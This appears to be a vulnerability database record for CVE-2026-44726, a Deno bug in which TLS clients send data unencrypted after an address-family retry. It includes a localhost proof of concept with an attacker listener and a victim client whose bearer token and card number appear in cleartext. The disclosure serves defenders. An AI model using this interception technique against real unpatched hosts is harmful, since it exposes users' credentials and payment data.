{"id":"CVE-2026-44726","aliases":["CVE-2026-44726","GHSA-chqv-56wv-7564"],"related":[],"kind":"vulnerability","state":"published","title":"Deno: TLS retry copies stale upgrade hook, risking plaintext traffic","summary":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) => {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) => {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () => {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) => {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -> retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect — common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () => console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) => console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS.\n\nOn a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Deno es un entorno de ejecución de JavaScript, TypeScript y WebAssembly. Desde 2.0.0 hasta 2.7.8, un fallo en la capa de compatibilidad TLS de Node.js de Deno podría causar que un cliente TLS transmita datos de aplicación en texto plano después de un reintento de conexión. Cuando ’autoSelectFamily’ estaba habilitado y el primer intento de familia de direcciones falló, la ruta de reinicialización del socket reutilizó un ’hook’ de actualización TLS obsoleto que estaba vinculado al ’handle’ original y fallido. Como resultado, la conexión TCP de reemplazo nunca se actualizó a TLS, y cualquier dato que la aplicación escribió antes del evento secureConnect viajó por la red sin cifrar. Un atacante de red posicionado para causar que el intento de conexión inicial fallara (por ejemplo, al descartar tráfico IPv6 en un host de doble pila) podría activar de forma determinista la ruta de respaldo y observar o manipular el tráfico que la aplicación creía que estaba protegido por TLS. Esta vulnerabilidad está corregida en 2.7.8.","source":"nvd"}],"published":"2026-05-27T19:51:46.000Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-319"],"affected":[{"ranges":[{"version":">= 2.0.0, < 2.7.8","status":"affected"}],"vendor":"denoland","product":"deno","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.0.0","status":"affected","fixed":"2.7.8"}],"ecosystem":"crates.io","package":"deno","purl":"pkg:cargo/deno","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"2.0.0","fixed":"2.7.8"}],"vendor":"deno","product":"deno","cpe":"cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44726","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/denoland/deno","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-06-25T03:55:51.795Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44726","url":"https://www.cve.org/CVERecord?id=CVE-2026-44726","licence":"CVE Terms of Use","modified":"2026-06-25T13:48:50.170Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-chqv-56wv-7564","url":"https://github.com/advisories/GHSA-chqv-56wv-7564","licence":"CC-BY-4.0","modified":"2026-07-20T14:00:26.999Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44726","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44726","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:25.493Z","epss":{"score":0.00169,"percentile":0.06549,"date":"2026-12-01T12:00:22.000Z"}}